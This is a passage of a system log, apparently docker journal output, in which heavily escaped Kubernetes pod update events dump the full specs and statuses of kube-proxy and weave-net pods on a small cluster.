kube-proxy\\\ , \\\ k8s-app\\\ :\\\ kube-proxy\\\ , \\\ kubernetes.io/cluster-service\\\ :\\\ true\\\ }, annotations:map string string{\\\ kubernetes.io/created-by\\\ :\\\ {\\\\\\\ kind\\\\\\\ :\\\\\\\ serializedreference\\\\\\\ ,\\\\\\\ apiversion\\\\\\\ :\\\\\\\ v1\\\\\\\ ,\\\\\\\ reference\\\\\\\ :{\\\\\\\ kind\\\\\\\ :\\\\\\\ daemonset\\\\\\\ ,\\\\\\\ namespace\\\\\\\ :\\\\\\\ kube-system\\\\\\\ ,\\\\\\\ name\\\\\\\ :\\\\\\\ kube-proxy\\\\\\\ ,\\\\\\\ uid\\\\\\\ :\\\\\\\ 9ac5220a-dbdc-11e6-a074-000c2972045a\\\\\\\ ,\\\\\\\ apiversion\\\\\\\ :\\\\\\\ extensions\\\\\\\ ,\\\\\\\ resourceversion\\\\\\\ :\\\\\\\ 981\\\\\\\ }}\\\ \\\ , \\\ scheduler.alpha.kubernetes.io/affinity\\\ :\\\ {\\\\\\\ nodeaffinity\\\\\\\ :{\\\\\\\ requiredduringschedulingignoredduringexecution\\\\\\\ :{\\\\\\\ nodeselectorterms\\\\\\\ : {\\\\\\\ matchexpressions\\\\\\\ : {\\\\\\\ key\\\\\\\ :\\\\\\\ beta.kubernetes.io/arch\\\\\\\ ,\\\\\\\ operator\\\\\\\ :\\\\\\\ in\\\\\\\ ,\\\\\\\ values\\\\\\\ : \\\\\\\ amd64\\\\\\\  } } }}}\\\ , \\\ scheduler.alpha.kubernetes.io/tolerations\\\ :\\\  {\\\\\\\ key\\\\\\\ :\\\\\\\ dedicated\\\\\\\ ,\\\\\\\ value\\\\\\\ :\\\\\\\ master\\\\\\\ ,\\\\\\\ effect\\\\\\\ :\\\\\\\ noschedule\\\\\\\ } \\\ }, ownerreferences:  v1.ownerreference nil , finalizers:  string nil , clustername:\\\ \\\ }, spec:v1.podspec{volumes:  v1.volume{v1.volume{name:\\\ kubeconfig\\\ , volumesource:v1.volumesource{hostpath:  v1.hostpathvolumesource  0xc821540ae0 , emptydir:  v1.emptydirvolumesource  nil , gcepersistentdisk:  v1.gcepersistentdiskvolumesource  nil , awselasticblockstore:  v1.awselasticblockstorevolumesource  nil , gitrepo:  v1.gitrepovolumesource  nil , secret:  v1.secretvolumesource  nil , nfs:  v1.nfsvolumesource  nil , iscsi:  v1.iscsivolumesource  nil , glusterfs:  v1.glusterfsvolumesource  nil , persistentvolumeclaim:  v1.persistentvolumeclaimvolumesource  nil , rbd:  v1.rbdvolumesource  nil , flexvolume:  v1.flexvolumesource  nil , cinder:  v1.cindervolumesource  nil , cephfs:  v1.cephfsvolumesource  nil , flocker:  v1.flockervolumesource  nil , downwardapi:  v1.downwardapivolumesource  nil , fc:  v1.fcvolumesource  nil , azurefile:  v1.azurefilevolumesource  nil , configmap:  v1.configmapvolumesource  nil , vspherevolume:  v1.vspherevirtualdiskvolumesource  nil , quobyte:  v1.quobytevolumesource  nil , azuredisk:  v1.azurediskvolumesource  nil }}, v1.volume{name:\\\ dbus\\\ , volumesource:v1.volumesource{hostpath:  v1.hostpathvolumesource  0xc821540b50 , emptydir:  v1.emptydirvolumesource  nil , gcepersistentdisk:  v1.gcepersistentdiskvolumesource  nil , awselasticblockstore:  v1.awselasticblockstorevolumesource  nil , gitrepo:  v1.gitrepovolumesource  nil , secret:  v1.secretvolumesource  nil , nfs:  v1.nfsvolumesource  nil , iscsi:  v1.iscsivolumesource  nil , glusterfs:  v1.glusterfsvolumesource  nil , persistentvolumeclaim:  v1.persistentvolumeclaimvolumesource  nil , rbd:  v1.rbdvolumesource  nil , flexvolume:  v1.flexvolumesource  nil , cinder:  v1.cindervolumesource  nil , cephfs:  v1.cephfsvolumesource  nil , flocker:  v1.flockervolumesource  nil , downwardapi:  v1.downwardapivolumesource  nil , fc:  v1.fcvolumesource  nil , azurefile:  v1.azurefilevolumesource  nil , configmap:  v1.configmapvolumesource  nil , vspherevolume:  v1.vspherevirtualdiskvolumesource  nil , quobyte:  v1.quobytevolumesource  nil , azuredisk:  v1.azurediskvolumesource  nil }}, v1.volume{name:\\\ default-token-6mt5m\\\ , volumesource:v1.volumesource{hostpath:  v1.hostpathvolumesource  nil , emptydir:  v1.emptydirvolumesource  nil , gcepersistentdisk:  v1.gcepersistentdiskvolumesource  nil , awselasticblockstore:  v1.awselasticblockstorevolumesource  nil , gitrepo:  v1.gitrepovolumesource  nil , secret:  v1.secretvolumesource  0xc82171c960 , nfs:  v1.nfsvolumesource  nil , iscsi:  v1.iscsivolumesource  nil , glusterfs:  v1.glusterfsvolumesource  nil , persistentvolumeclaim:  v1.persistentvolumeclaimvolumesource  nil , rbd:  v1.rbdvolumesource  nil , flexvolume:  v1.flexvolumesource  nil , cinder:  v1.cindervolumesource  nil , cephfs:  v1.cephfsvolumesource  nil , flocker:  v1.flockervolumesource  nil , downwardapi:  v1.downwardapivolumesource  nil , fc:  v1.fcvolumesource  nil , azurefile:  v1.azurefilevolumesource  nil , configmap:  v1.configmapvolumesource  nil , vspherevolume:  v1.vspherevirtualdiskvolumesource  nil , quobyte:  v1.quobytevolumesource  nil , azuredisk:  v1.azurediskvolumesource  nil }}}, initcontainers:  v1.container nil , containers:  v1.container{v1.container{name:\\\ kube-proxy\\\ , image:\\\ gcr.io/google_containers/kube-proxy-amd64:v1.5.1\\\ , command:  string{\\\ kube-proxy\\\ , \\\ --kubeconfig=/run/kubeconfig\\\ }, args:  string nil , workingdir:\\\ \\\ , ports:  v1.containerport nil , env:  v1.envvar nil , resources:v1.resourcerequirements{limits:v1.resourcelist nil , requests:v1.resourcelist nil }, volumemounts:  v1.volumemount{v1.volumemount{name:\\\ dbus\\\ , readonly:false, mountpath:\\\ /var/run/dbus\\\ , subpath:\\\ \\\ }, v1.volumemount{name:\\\ kubeconfig\\\ , readonly:false, mountpath:\\\ /run/kubeconfig\\\ , subpath:\\\ \\\ }, v1.volumemount{name:\\\ default-token-6mt5m\\\ , readonly:true, mountpath:\\\ /var/run/secrets/kubernetes.io/serviceaccount\\\ , subpath:\\\ \\\ }}, livenessprobe:  v1.probe  nil , readinessprobe:  v1.probe  nil , lifecycle:  v1.lifecycle  nil , terminationmessagepath:\\\ /dev/termination-log\\\ , imagepullpolicy:\\\ ifnotpresent\\\ , securitycontext:  v1.securitycontext  0xc82171c9f0 , stdin:false, stdinonce:false, tty:false}}, restartpolicy:\\\ always\\\ , terminationgraceperiodseconds:  int64  0xc821540e80 , activedeadlineseconds:  int64  nil , dnspolicy:\\\ clusterfirst\\\ , nodeselector:map string string nil , serviceaccountname:\\\ default\\\ , deprecatedserviceaccount:\\\ default\\\ , nodename:\\\ vmwarecgsl5-2.localdomain\\\ , hostnetwork:true, hostpid:false, hostipc:false, securitycontext:  v1.podsecuritycontext  0xc821946880 , imagepullsecrets:  v1.localobjectreference nil , hostname:\\\ \\\ , subdomain:\\\ \\\ }, status:v1.podstatus{phase:\\\ running\\\ , conditions:  v1.podcondition{v1.podcondition{type:\\\ initialized\\\ , status:\\\ true\\\ , lastprobetime:unversioned.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, lasttransitiontime:unversioned.time{time:time.time{sec:63620163156, nsec:0, loc:  time.location  0x2a9fb00 }}, reason:\\\ \\\ , message:\\\ \\\ }, v1.podcondition{type:\\\ ready\\\ , status:\\\ true\\\ , lastprobetime:unversioned.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, lasttransitiontime:unversioned.time{time:time.time{sec:63622170258, nsec:0, loc:  time.location  0x2a9fb00 }}, reason:\\\ \\\ , message:\\\ \\\ }, v1.podcondition{type:\\\ podscheduled\\\ , status:\\\ true\\\ , lastprobetime:unversioned.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, lasttransitiontime:unversioned.time{time:time.time{sec:63620163174, nsec:0, loc:  time.location  0x2a9fb00 }}, reason:\\\ \\\ , message:\\\ \\\ }}, message:\\\ \\\ , reason:\\\ \\\ , hostip:\\\ 10.114.12.51\\\ , podip:\\\ 10.114.12.51\\\ , starttime:  unversioned.time  0xc82193f9c0 , initcontainerstatuses:  v1.containerstatus nil , containerstatuses:  v1.containerstatus{v1.containerstatus{name:\\\ kube-proxy\\\ , state:v1.containerstate{waiting:  v1.containerstatewaiting  nil , running:  v1.containerstaterunning  0xc82193fac0 , terminated:  v1.containerstateterminated  nil }, lastterminationstate:v1.containerstate{waiting:  v1.containerstatewaiting  nil , running:  v1.containerstaterunning  nil , terminated:  v1.containerstateterminated  0xc8204689a0 }, ready:true, restartcount:3, image:\\\ gcr.io/google_containers/kube-proxy-amd64:v1.5.1\\\ , imageid:\\\ docker://sha256:71d2b27b03f6cd127b54f3c49616db4819e4a2e3c16e74b3140c8b9fbcbb82b5\\\ , containerid:\\\ docker://b969b6835fa2173111207386554133120e62fd8a0884d271ad7ae76329fbba68\\\ }}}} &v1.pod{typemeta:unversioned.typemeta{kind:\\\ \\\ , apiversion:\\\ \\\ }, objectmeta:v1.objectmeta{name:\\\ kube-proxy-qbk06\\\ , generatename:\\\ kube-proxy-\\\ , namespace:\\\ kube-system\\\ , selflink:\\\ /api/v1/namespaces/kube-system/pods/kube-proxy-qbk06\\\ , uid:\\\ 7a9dd752-dbdf-11e6-a074-000c2972045a\\\ , resourceversion:\\\ 494495\\\ , generation:0, creationtimestamp:unversioned.time{time:time.time{sec:63620163156, nsec:0, loc:  time.location  0x2a9fb00 }}, deletiontimestamp:  unversioned.time  nil , deletiongraceperiodseconds:  int64  nil , labels:map string string{\\\ name\\\ :\\\ kube-proxy\\\ , \\\ tier\\\ :\\\ node\\\ , \\\ component\\\ :\\\ kube-proxy\\\ , \\\ k8s-app\\\ :\\\ kube-proxy\\\ , \\\ kubernetes.io/cluster-service\\\ :\\\ true\\\ }, annotations:map string string{\\\ scheduler.alpha.kubernetes.io/affinity\\\ :\\\ {\\\\\\\ nodeaffinity\\\\\\\ :{\\\\\\\ requiredduringschedulingignoredduringexecution\\\\\\\ :{\\\\\\\ nodeselectorterms\\\\\\\ : {\\\\\\\ matchexpressions\\\\\\\ : {\\\\\\\ key\\\\\\\ :\\\\\\\ beta.kubernetes.io/arch\\\\\\\ ,\\\\\\\ operator\\\\\\\ :\\\\\\\ in\\\\\\\ ,\\\\\\\ values\\\\\\\ : \\\\\\\ amd64\\\\\\\  } } }}}\\\ , \\\ scheduler.alpha.kubernetes.io/tolerations\\\ :\\\  {\\\\\\\ key\\\\\\\ :\\\\\\\ dedicated\\\\\\\ ,\\\\\\\ value\\\\\\\ :\\\\\\\ master\\\\\\\ ,\\\\\\\ effect\\\\\\\ :\\\\\\\ noschedule\\\\\\\ } \\\ , \\\ kubernetes.io/created-by\\\ :\\\ {\\\\\\\ kind\\\\\\\ :\\\\\\\ serializedreference\\\\\\\ ,\\\\\\\ apiversion\\\\\\\ :\\\\\\\ v1\\\\\\\ ,\\\\\\\ reference\\\\\\\ :{\\\\\\\ kind\\\\\\\ :\\\\\\\ daemonset\\\\\\\ ,\\\\\\\ namespace\\\\\\\ :\\\\\\\ kube-system\\\\\\\ ,\\\\\\\ name\\\\\\\ :\\\\\\\ kube-proxy\\\\\\\ ,\\\\\\\ uid\\\\\\\ :\\\\\\\ 9ac5220a-dbdc-11e6-a074-000c2972045a\\\\\\\ ,\\\\\\\ apiversion\\\\\\\ :\\\\\\\ extensions\\\\\\\ ,\\\\\\\ resourceversion\\\\\\\ :\\\\\\\ 981\\\\\\\ }}\\\ \\\ }, ownerreferences:  v1.ownerreference nil , finalizers:  string nil , clustername:\\\ \\\ }, spec:v1.podspec{volumes:  v1.volume{v1.volume{name:\\\ kubeconfig\\\ , volumesource:v1.volumesource{hostpath:  v1.hostpathvolumesource  0xc821546770 , emptydir:  v1.emptydirvolumesource  nil , gcepersistentdisk:  v1.gcepersistentdiskvolumesource  nil , awselasticblockstore:  v1.awselasticblockstorevolumesource  nil , gitrepo:  v1.gitrepovolumesource  nil , secret:  v1.secretvolumesource  nil , nfs:  v1.nfsvolumesource  nil , iscsi:  v1.iscsivolumesource  nil , glusterfs:  v1.glusterfsvolumesource  nil , persistentvolumeclaim:  v1.persistentvolumeclaimvolumesource  nil , rbd:  v1.rbdvolumesource  nil , flexvolume:  v1.flexvolumesource  nil , cinder:  v1.cindervolumesource  nil , cephfs:  v1.cephfsvolumesource  nil , flocker:  v1.flockervolumesource  nil , downwardapi:  v1.downwardapivolumesource  nil , fc:  v1.fcvolumesource  nil , azurefile:  v1.azurefilevolumesource  nil , configmap:  v1.configmapvolumesource  nil , vspherevolume:  v1.vspherevirtualdiskvolumesource  nil , quobyte:  v1.quobytevolumesource  nil , azuredisk:  v1.azurediskvolumesource  nil }}, v1.volume{name:\\\ dbus\\\ , volumesource:v1.volumesource{hostpath:  v1.hostpathvolumesource  0xc8215467f0 , emptydir:  v1.emptydirvolumesource  nil , gcepersistentdisk:  v1.gcepersistentdiskvolumesource  nil , awselasticblockstore:  v1.awselasticblockstorevolumesource  nil , gitrepo:  v1.gitrepovolumesource  nil , secret:  v1.secretvolumesource  nil , nfs:  v1.nfsvolumesource  nil , iscsi:  v1.iscsivolumesource  nil , glusterfs:  v1.glusterfsvolumesource  nil , persistentvolumeclaim:  v1.persistentvolumeclaimvolumesource  nil , rbd:  v1.rbdvolumesource  nil , flexvolume:  v1.flexvolumesource  nil , cinder:  v1.cindervolumesource  nil , cephfs:  v1.cephfsvolumesource  nil , flocker:  v1.flockervolumesource  nil , downwardapi:  v1.downwardapivolumesource  nil , fc:  v1.fcvolumesource  nil , azurefile:  v1.azurefilevolumesource  nil , configmap:  v1.configmapvolumesource  nil , vspherevolume:  v1.vspherevirtualdiskvolumesource  nil , quobyte:  v1.quobytevolumesource  nil , azuredisk:  v1.azurediskvolumesource  nil }}, v1.volume{name:\\\ default-token-6mt5m\\\ , volumesource:v1.volumesource{hostpath:  v1.hostpathvolumesource  nil , emptydir:  v1.emptydirvolumesource  nil , gcepersistentdisk:  v1.gcepersistentdiskvolumesource  nil , awselasticblockstore:  v1.awselasticblockstorevolumesource  nil , gitrepo:  v1.gitrepovolumesource  nil , secret:  v1.secretvolumesource  0xc82171dda0 , nfs:  v1.nfsvolumesource  nil , iscsi:  v1.iscsivolumesource  nil , glusterfs:  v1.glusterfsvolumesource  nil , persistentvolumeclaim:  v1.persistentvolumeclaimvolumesource  nil , rbd:  v1.rbdvolumesource  nil , flexvolume:  v1.flexvolumesource  nil , cinder:  v1.cindervolumesource  nil , cephfs:  v1.cephfsvolumesource  nil , flocker:  v1.flockervolumesource  nil , downwardapi:  v1.downwardapivolumesource  nil , fc:  v1.fcvolumesource  nil , azurefile:  v1.azurefilevolumesource  nil , configmap:  v1.configmapvolumesource  nil , vspherevolume:  v1.vspherevirtualdiskvolumesource  nil , quobyte:  v1.quobytevolumesource  nil , azuredisk:  v1.azurediskvolumesource  nil }}}, initcontainers:  v1.container nil , containers:  v1.container{v1.container{name:\\\ kube-proxy\\\ , image:\\\ gcr.io/google_containers/kube-proxy-amd64:v1.5.1\\\ , command:  string{\\\ kube-proxy\\\ , \\\ --kubeconfig=/run/kubeconfig\\\ }, args:  string nil , workingdir:\\\ \\\ , ports:  v1.containerport nil , env:  v1.envvar nil , resources:v1.resourcerequirements{limits:v1.resourcelist nil , requests:v1.resourcelist nil }, volumemounts:  v1.volumemount{v1.volumemount{name:\\\ dbus\\\ , readonly:false, mountpath:\\\ /var/run/dbus\\\ , subpath:\\\ \\\ }, v1.volumemount{name:\\\ kubeconfig\\\ , readonly:false, mountpath:\\\ /run/kubeconfig\\\ , subpath:\\\ \\\ }, v1.volumemount{name:\\\ default-token-6mt5m\\\ , readonly:true, mountpath:\\\ /var/run/secrets/kubernetes.io/serviceaccount\\\ , subpath:\\\ \\\ }}, livenessprobe:  v1.probe  nil , readinessprobe:  v1.probe  nil , lifecycle:  v1.lifecycle  nil , terminationmessagepath:\\\ /dev/termination-log\\\ , imagepullpolicy:\\\ ifnotpresent\\\ , securitycontext:  v1.securitycontext  0xc82171c2a0 , stdin:false, stdinonce:false, tty:false}}, restartpolicy:\\\ always\\\ , terminationgraceperiodseconds:  int64  0xc821546b20 , activedeadlineseconds:  int64  nil , dnspolicy:\\\ clusterfirst\\\ , nodeselector:map string string nil , serviceaccountname:\\\ default\\\ , deprecatedserviceaccount:\\\ default\\\ , nodename:\\\ vmwarecgsl5-2.localdomain\\\ , hostnetwork:true, hostpid:false, hostipc:false, securitycontext:  v1.podsecuritycontext  0xc8219f2340 , imagepullsecrets:  v1.localobjectreference nil , hostname:\\\ \\\ , subdomain:\\\ \\\ }, status:v1.podstatus{phase:\\\ running\\\ , conditions:  v1.podcondition{v1.podcondition{type:\\\ initialized\\\ , status:\\\ true\\\ , lastprobetime:unversioned.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, lasttransitiontime:unversioned.time{time:time.time{sec:63620163156, nsec:0, loc:  time.location  0x2a9fb00 }}, reason:\\\ \\\ , message:\\\ \\\ }, v1.podcondition{type:\\\ ready\\\ , status:\\\ false\\\ , lastprobetime:unversioned.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, lasttransitiontime:unversioned.time{time:time.time{sec:63622170258, nsec:0, loc:  time.location  0x2a9fb00 }}, reason:\\\ \\\ , message:\\\ \\\ }, v1.podcondition{type:\\\ podscheduled\\\ , status:\\\ true\\\ , lastprobetime:unversioned.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, lasttransitiontime:unversioned.time{time:time.time{sec:63620163174, nsec:0, loc:  time.location  0x2a9fb00 }}, reason:\\\ \\\ , message:\\\ \\\ }}, message:\\\ \\\ , reason:\\\ \\\ , hostip:\\\ 10.114.12.51\\\ , podip:\\\ 10.114.12.51\\\ , starttime:  unversioned.time  0xc82193e040 , initcontainerstatuses:  v1.containerstatus nil , containerstatuses:  v1.containerstatus{v1.containerstatus{name:\\\ kube-proxy\\\ , state:v1.containerstate{waiting:  v1.containerstatewaiting  nil , running:  v1.containerstaterunning  0xc82193e140 , terminated:  v1.containerstateterminated  nil }, lastterminationstate:v1.containerstate{waiting:  v1.containerstatewaiting  nil , running:  v1.containerstaterunning  nil , terminated:  v1.containerstateterminated  0xc8204675e0 }, ready:true, restartcount:3, image:\\\ gcr.io/google_containers/kube-proxy-amd64:v1.5.1\\\ , imageid:\\\ docker://sha256:71d2b27b03f6cd127b54f3c49616db4819e4a2e3c16e74b3140c8b9fbcbb82b5\\\ , containerid:\\\ docker://b969b6835fa2173111207386554133120e62fd8a0884d271ad7ae76329fbba68\\\ }}}}\ \r feb 09 01:37:31 vmwarecgsl5.localdomain docker-current 1034 : time=\ 2017-02-08t17:37:31z\  level=info msg=\ event updatepod &v1.pod{typemeta:unversioned.typemeta{kind:\\\ \\\ , apiversion:\\\ \\\ }, objectmeta:v1.objectmeta{name:\\\ weave-net-v01k4\\\ , generatename:\\\ weave-net-\\\ , namespace:\\\ kube-system\\\ , selflink:\\\ /api/v1/namespaces/kube-system/pods/weave-net-v01k4\\\ , uid:\\\ 7a9dc798-dbdf-11e6-a074-000c2972045a\\\ , resourceversion:\\\ 492257\\\ , generation:0, creationtimestamp:unversioned.time{time:time.time{sec:63620163156, nsec:0, loc:  time.location  0x2a9fb00 }}, deletiontimestamp:  unversioned.time  nil , deletiongraceperiodseconds:  int64  nil , labels:map string string{\\\ name\\\ :\\\ weave-net\\\ }, annotations:map string string{\\\ kubernetes.io/created-by\\\ :\\\ {\\\\\\\ kind\\\\\\\ :\\\\\\\ serializedreference\\\\\\\ ,\\\\\\\ apiversion\\\\\\\ :\\\\\\\ v1\\\\\\\ ,\\\\\\\ reference\\\\\\\ :{\\\\\\\ kind\\\\\\\ :\\\\\\\ daemonset\\\\\\\ ,\\\\\\\ namespace\\\\\\\ :\\\\\\\ kube-system\\\\\\\ ,\\\\\\\ name\\\\\\\ :\\\\\\\ weave-net\\\\\\\ ,\\\\\\\ uid\\\\\\\ :\\\\\\\ 11a1f0f2-dbdd-11e6-a074-000c2972045a\\\\\\\ ,\\\\\\\ apiversion\\\\\\\ :\\\\\\\ extensions\\\\\\\ ,\\\\\\\ resourceversion\\\\\\\ :\\\\\\\ 1018\\\\\\\ }}\\\ \\\ , \\\ scheduler.alpha.kubernetes.io/tolerations\\\ :\\\  \\\   {\\\     \\\\\\\ key\\\\\\\ : \\\\\\\ dedicated\\\\\\\ ,\\\     \\\\\\\ operator\\\\\\\ : \\\\\\\ equal\\\\\\\ ,\\\     \\\\\\\ value\\\\\\\ : \\\\\\\ master\\\\\\\ ,\\\     \\\\\\\ effect\\\\\\\ : \\\\\\\ noschedule\\\\\\\ \\\   }\\\  \\\ \\\ }, ownerreferences:  v1.ownerreference nil , finalizers:  string nil , clustername:\\\ \\\ }, spec:v1.podspec{volumes:  v1.volume{v1.volume{name:\\\ weavedb\\\ , volumesource:v1.volumesource{hostpath:  v1.hostpathvolumesource  nil , emptydir:  v1.emptydirvolumesource  0xc8214ebda0 , gcepersistentdisk:  v1.gcepersistentdiskvolumesource  nil , awselasticblockstore:  v1.awselasticblockstorevolumesource  nil , gitrepo:  v1.gitrepovolumesource  nil , secret:  v1.secretvolumesource  nil , nfs:  v1.nfsvolumesource  nil , iscsi:  v1.iscsivolumesource  nil , glusterfs:  v1.glusterfsvolumesource  nil , persistentvolumeclaim:  v1.persistentvolumeclaimvolumesource  nil , rbd:  v1.rbdvolumesource  nil , flexvolume:  v1.flexvolumesource  nil , cinder:  v1.cindervolumesource  nil , cephfs:  v1.cephfsvolumesource  nil , flocker:  v1.flockervolumesource  nil , downwardapi:  v1.downwardapivolumesource  nil , fc:  v1.fcvolumesource  nil , azurefile:  v1.azurefilevolumesource  nil , configmap:  v1.configmapvolumesource  nil , vspherevolume:  v1.vspherevirtualdiskvolumesource  nil , quobyte:  v1.quobytevolumesource  nil , azuredisk:  v1.azurediskvolumesource  nil }}, v1.volume{name:\\\ cni-bin\\\ , volumesource:v1.volumesource{hostpath:  v1.hostpathvolumesource  0xc8214ebe00 , emptydir:  v1.emptydirvolumesource  nil , gcepersistentdisk:  v1.gcepersistentdiskvolumesource  nil , awselasticblockstore:  v1.awselasticblockstorevolumesource  nil , gitrepo:  v1.gitrepovolumesource  nil , secret:  v1.secretvolumesource  nil , nfs:  v1.nfsvolumesource  nil , iscsi:  v1.iscsivolumesource  nil , glusterfs:  v1.glusterfsvolumesource  nil , persistentvolumeclaim:  v1.persistentvolumeclaimvolumesource  nil , rbd:  v1.rbdvolumesource  nil , flexvolume:  v1.flexvolumesource  nil , cinder:  v1.cindervolumesource  nil , cephfs:  v1.cephfsvolumesource  nil , flocker:  v1.flockervolumesource  nil , downwardapi:  v1.downwardapivolumesource  nil , fc:  v1.fcvolumesource  nil , azurefile:  v1.azurefilevolumesource  nil , configmap:  v1.configmapvolumesource  nil , vspherevolume:  v1.vspherevirtualdiskvolumesource  nil , quobyte:  v1.quobytevolumesource  nil , azuredisk:  v1.azurediskvolumesource  nil }}, v1.volume{name:\\\ cni-bin2\\\ , volumesource:v1.volumesource{hostpath:  v1.hostpathvolumesource  0xc8214ebe90 , emptydir:  v1.emptydirvolumesource  nil , gcepersistentdisk:  v1.gcepersistentdiskvolumesource  nil , awselasticblockstore:  v1.awselasticblockstorevolumesource  nil , gitrepo:  v1.gitrepovolumesource  nil , secret:  v1.secretvolumesource  nil , nfs:  v1.nfsvolumesource  nil , iscsi:  v1.iscsivolumesource  nil , glusterfs:  v1.glusterfsvolumesource  nil , persistentvolumeclaim:  v1.persistentvolumeclaimvolumesource  nil , rbd:  v1.rbdvolumesource  nil , flexvolume:  v1.flexvolumesource  nil , cinder:  v1.cindervolumesource  nil , cephfs:  v1.cephfsvolumesource  nil , flocker:  v1.flockervolumesource  nil , downwardapi:  v1.downwardapivolumesource  nil , fc:  v1.fcvolumesource  nil , azurefile:  v1.azurefilevolumesource  nil , configmap:  v1.configmapvolumesource  nil , vspherevolume:  v1.vspherevirtualdiskvolumesource  nil , quobyte:  v1.quobytevolumesource  nil , azuredisk:  v1.azurediskvolumesource  nil }}, v1.volume{name:\\\ cni-conf\\\ , volumesource:v1.volumesource{hostpath:  v1.hostpathvolumesource  0xc8214ebf20 , emptydir:  v1.emptydirvolumesource  nil , gcepersistentdisk:  v1.gcepersistentdiskvolumesource  nil , awselasticblockstore:  v1.awselasticblockstorevolumesource  nil , gitrepo:  v1.gitrepovolumesource  nil , secret:  v1.secretvolumesource  nil , nfs:  v1.nfsvolumesource  nil , iscsi:  v1.iscsivolumesource  nil , glusterfs:  v1.glusterfsvolumesource  nil , persistentvolumeclaim:  v1.persistentvolumeclaimvolumesource  nil , rbd:  v1.rbdvolumesource  nil , flexvolume:  v1.flexvolumesource  nil , cinder:  v1.cindervolumesource  nil , cephfs:  v1.cephfsvolumesource  nil , flocker:  v1.flockervolumesource  nil , downwardapi:  v1.downwardapivolumesource  nil , fc:  v1.fcvolumesource  nil , azurefile:  v1.azurefilevolumesource  nil , configmap:  v1.configmapvolumesource  nil , vspherevolume:  v1.vspherevirtualdiskvolumesource  nil , quobyte:  v1.quobytevolumesource  nil , azuredisk:  v1.azurediskvolumesource  nil }}, v1.volume{name:\\\ default-token-6mt5m\\\ , volumesource:v1.volumesource{hostpath:  v1.hostpathvolumesource  nil , emptydir:  v1.emptydirvolumesource  nil , gcepersistentdisk:  v1.gcepersistentdiskvolumesource  nil , awselasticblockstore:  v1.awselasticblockstorevolumesource  nil , gitrepo:  v1.gitrepovolumesource  nil , secret:  v1.secretvolumesource  0xc821690900 , nfs:  v1.nfsvolumesource  nil , iscsi:  v1.iscsivolumesource  nil , glusterfs:  v1.glusterfsvolumesource  nil , persistentvolumeclaim:  v1.persistentvolumeclaimvolumesource  nil , rbd:  v1.rbdvolumesource  nil , flexvolume:  v1.flexvolumesource  nil , cinder:  v1.cindervolumesource  nil , cephfs:  v1.cephfsvolumesource  nil , flocker:  v1.flockervolumesource  nil , downwardapi:  v1.downwardapivolumesource  nil , fc:  v1.fcvolumesource  nil , azurefile:  v1.azurefilevolumesource  nil , configmap:  v1.configmapvolumesource  nil , vspherevolume:  v1.vspherevirtualdiskvolumesource  nil , quobyte:  v1.quobytevolumesource  nil , azuredisk:  v1.azurediskvolumesource  nil }}}, initcontainers:  v1.container nil , containers:  v1.container{v1.container{name:\\\ weave\\\ , image:\\\ weaveworks/weave-kube:1.8.2\\\ , command:  string{\\\ /home/weave/launch.sh\\\ }, args:  string nil , workingdir:\\\ \\\ , ports:  v1.containerport nil , env:  v1.envvar nil , resources:v1.resourcerequirements{limits:v1.resourcelist nil , requests:v1.resourcelist{\\\ cpu\\\ :resource.quantity{i:resource.int64amount{value:10, scale:-3}, d:resource.infdecamount{dec:  inf.dec  nil }, s:\\\ 10m\\\ , format:\\\ decimalsi\\\ }}}, volumemounts:  v1.volumemount{v1.volumemount{name:\\\ weavedb\\\ , readonly:false, mountpath:\\\ /weavedb\\\ , subpath:\\\ \\\ }, v1.volumemount{name:\\\ cni-bin\\\ , readonly:false, mountpath:\\\ /opt\\\ , subpath:\\\ \\\ }, v1.volumemount{name:\\\ cni-bin2\\\ , readonly:false, mountpath:\\\ /host_home\\\ , subpath:\\\ \\\ }, v1.volumemount{name:\\\ cni-conf\\\ , readonly:false, mountpath:\\\ /etc\\\ , subpath:\\\ \\\ }, v1.volumemount{name:\\\ default-token-6mt5m\\\ , readonly:true, mountpath:\\\ /var/run/secrets/kubernetes.io/serviceaccount\\\ , subpath:\\\ \\\ }}, livenessprobe:  v1.probe  0xc821690990 , readinessprobe:  v1.probe  nil , lifecycle:  v1.lifecycle  nil , terminationmessagepath:\\\ /dev/termination-log\\\ , imagepullpolicy:\\\ ifnotpresent\\\ , securitycontext:  v1.securitycontext  0xc8216909c0 , stdin:false, stdinonce:false, tty:false}, v1.container{name:\\\ weave-npc\\\ , image:\\\ weaveworks/weave-npc:1.8.2\\\ , command:  string nil , args:  string nil , workingdir:\\\ \\\ , ports:  v1.containerport nil , env:  v1.envvar nil , resources:v1.resourcerequirements{limits:v1.resourcelist nil , requests:v1.resourcelist{\\\ cpu\\\ :resource.quantity{i:resource.int64amount{value:10, scale:-3}, d:resource.infdecamount{dec:  inf.dec  nil }, s:\\\ 10m\\\ , format:\\\ decimalsi\\\ }}}, volumemounts:  v1.volumemount{v1.volumemount{name:\\\ default-token-6mt5m\\\ , readonly:true, mountpath:\\\ /var/run/secrets/kubernetes.io/serviceaccount\\\ , subpath:\\\ \\\ }}, livenessprobe:  v1.probe  nil , readinessprobe:  v1.probe  nil , lifecycle:  v1.lifecycle  nil , terminationmessagepath:\\\ /dev/termination-log\\\ , imagepullpolicy:\\\ ifnotpresent\\\ , securitycontext:  v1.securitycontext  0xc821690a50 , stdin:false, stdinonce:false, tty:false}}, restartpolicy:\\\ always\\\ , terminationgraceperiodseconds:  int64  0xc8214ca610 , activedeadlineseconds:  int64  nil , dnspolicy:\\\ clusterfirst\\\ , nodeselector:map string string nil , serviceaccountname:\\\ default\\\ , deprecatedserviceaccount:\\\ default\\\ , nodename:\\\ vmwarecgsl5-2.localdomain\\\ , hostnetwork:true, hostpid:true, hostipc:false, securitycontext:  v1.podsecuritycontext  0xc82050f5c0 , imagepullsecrets:  v1.localobjectreference nil , hostname:\\\ \\\ , subdomain:\\\ \\\ }, status:v1.podstatus{phase:\\\ running\\\ , conditions:  v1.podcondition{v1.podcondition{type:\\\ initialized\\\ , status:\\\ true\\\ , lastprobetime:unversioned.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, lasttransitiontime:unversioned.time{time:time.time{sec:63620163157, nsec:0, loc:  time.location  0x2a9fb00 }}, reason:\\\ \\\ , message:\\\ \\\ }, 